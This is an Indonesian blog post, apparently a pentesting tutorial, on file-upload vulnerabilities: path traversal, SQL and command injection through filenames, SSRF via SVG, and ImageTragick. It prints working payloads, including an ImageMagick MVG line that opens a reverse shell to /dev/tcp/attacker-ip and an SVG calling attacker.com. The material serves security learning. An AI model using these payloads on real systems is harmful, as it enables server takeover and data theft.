Web App Hacking Tips & Trick — Celah File Upload — Bagian 2

27 Sep 2024

sysbraykr.com news -

5. Kerentanan pada Fungsi Upload File

Directory Traversal


Penjelasan
:


Directory Traversal (atau Path Traversal) adalah jenis serangan di mana penyerang mencoba mengakses file atau direktori yang terletak di luar direktori yang dimaksudkan. Misalnya, ketika mengunggah file, penyerang dapat menyisipkan karakter khusus seperti ../ atau ..\\ untuk menavigasi ke direktori yang berbeda dari yang diizinkan oleh aplikasi.


Contoh
:

  • Set filename ../../etc/passwd/logo.png: Dengan memberikan nama file seperti ini, penyerang mencoba menavigasi keluar dari direktori upload dan masuk ke direktori sistem yang berisi file sensitif, seperti /etc/passwd pada sistem Linux, yang menyimpan informasi tentang pengguna.

  • Set filename ../../../logo.png: Dalam kasus ini, penyerang mencoba mengganti logo situs web dengan file logo yang berlokasi di luar direktori upload.

  • Dampak: Jika berhasil, penyerang bisa membaca file sensitif atau bahkan mengubah file penting di server, yang bisa berakibat pada pencurian data atau perubahan tampilan situs.


SQL Injection melalui Nama File


Penjelasan
:


SQL Injection adalah serangan di mana penyerang memasukkan pernyataan SQL yang tidak diinginkan ke dalam input aplikasi, yang kemudian dieksekusi oleh basis data. Dalam konteks upload file, penyerang bisa mencoba menyisipkan pernyataan SQL berbahaya ke dalam nama file yang diunggah.


Contoh
:

  • Set filename ‘sleep(10).jpg.: Penyerang mencoba menyisipkan pernyataan sleep(10) dalam nama file. Jika input ini tidak divalidasi dengan baik, perintah ini bisa menyebabkan server tidur (delay) selama 10 detik, menunjukkan bahwa aplikasi rentan terhadap SQL injection.

  • Set filename sleep(10) — -.jpg.: Dengan menyisipkan komentar SQL (--), penyerang bisa mencoba menutup pernyataan SQL dan menambahkan perintah berbahaya seperti sleep(10).

  • Dampak: Serangan ini dapat mengakibatkan kebocoran data, perubahan data di database, atau penyerang dapat memperoleh kendali atas basis data.

Command Injection melalui Nama File

Penjelasan:

Command Injection adalah serangan di mana penyerang menyisipkan perintah sistem yang tidak diinginkan ke dalam input aplikasi yang kemudian dieksekusi oleh server. Dalam konteks upload file, nama file bisa berisi perintah shell berbahaya.

Contoh:

  • Set filename ; sleep 10;: Penyerang mencoba menyisipkan perintah sleep 10, yang akan menyebabkan server berhenti selama 10 detik jika perintah ini dieksekusi. Ini adalah tanda bahwa aplikasi rentan terhadap command injection.

  • Dampak: Jika berhasil, penyerang dapat menjalankan perintah shell pada server, yang bisa digunakan untuk mencuri data, mengubah konfigurasi server, atau mengontrol server sepenuhnya.

SSRF (Server-Side Request Forgery)

Penjelasan:

SSRF adalah jenis serangan di mana penyerang mengeksploitasi aplikasi untuk membuat permintaan dari server ke sumber daya internal atau eksternal yang tidak dimaksudkan. Dalam fungsi upload, SSRF dapat terjadi ketika penyerang bisa mengunggah file dengan URL eksternal atau file SVG yang dimodifikasi untuk memaksa server melakukan permintaan HTTP yang tidak sah.

Contoh:

  • Abusing the “Upload from URL”: Beberapa aplikasi memungkinkan pengguna mengunggah file dari URL. Jika aplikasi tidak memvalidasi URL dengan benar, penyerang bisa menyisipkan URL berbahaya (misalnya, URL dari IPlogger) untuk mencuri informasi dari pengunjung lain.

  • SSRF Through .svg file: File SVG bisa digunakan untuk memasukkan URL gambar dari server yang dikendalikan oleh penyerang. Misalnya, dalam file SVG berikut, URL https://attacker.com/picture.jpg akan diakses oleh server:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <image height="200" width="200" xlink:href="https://attacker.com/picture.jpg" /> </svg>

  • Dampak: SSRF dapat digunakan untuk mengakses sumber daya internal yang tidak dilindungi, seperti metadata cloud, atau untuk melakukan scanning terhadap jaringan internal, yang berpotensi mengungkap kerentanan internal.

ImageTragick (ImageMagick Vulnerability)


Penjelasan
:


ImageTragick adalah serangkaian kerentanan di dalam perangkat lunak ImageMagick, yang digunakan untuk memproses file gambar. Penyerang bisa menyisipkan perintah berbahaya ke dalam metadata gambar, yang kemudian dieksekusi oleh server saat gambar diproses.


Contoh
:

  • Exploit ImageMagick: Penyerang bisa memanipulasi gambar dan menyisipkan perintah shell di dalam file gambar, seperti berikut:

push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context

  • Perintah di atas akan membuat server menjalankan shell reverse, memberi akses kepada penyerang dari jarak jauh.

  • Dampak: Serangan ini memungkinkan penyerang mengeksekusi kode jarak jauh (RCE), mengambil alih server, atau mencuri data sensitif.

Web App Hacking Tips & Trick — Celah File Upload — Bagian 2

Latest Articles